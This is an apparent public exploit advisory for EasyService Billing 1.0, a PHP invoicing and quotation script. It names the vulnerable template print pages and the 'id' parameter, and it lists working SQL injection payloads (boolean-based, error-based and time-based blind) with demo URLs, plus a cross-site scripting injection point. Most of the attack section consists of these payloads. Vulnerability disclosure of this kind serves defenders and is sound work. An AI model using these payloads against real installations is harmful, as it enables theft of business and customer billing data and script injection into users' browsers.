# Exploit Title: EasyService Billing 1.0 - 'template_().php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage:
https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : all of the print and preview pages have the same vulnerabilities. (template_SBilling.php, template_Receipt.php, template_SBillingPerforma.php,template_SBillingQuotation.php)
  All of them use the same parameters. An attacker can use any of these.
====================================================
 
# PoC : SQLi :
 
Parameter : id
 
     Type : boolean-based blind
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' OR NOT 3938=3938#
 
     Type : error-based
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' AND (SELECT 7524 FROM(SELECT
COUNT(*),CONCAT(0x7162707671,(SELECT
(ELT(7524=7524,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UjGj
 
     Type : AND/OR time-based blind
     Demo :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=145
  Payload : tid=3&id=145' AND SLEEP(5)-- USaG
 
 
====================================================
# PoC : XSS :
 
  Payload :
http://test.com/EasyServiceBilling/print/template_SBilling.php?tid=3&id=XSS-Payload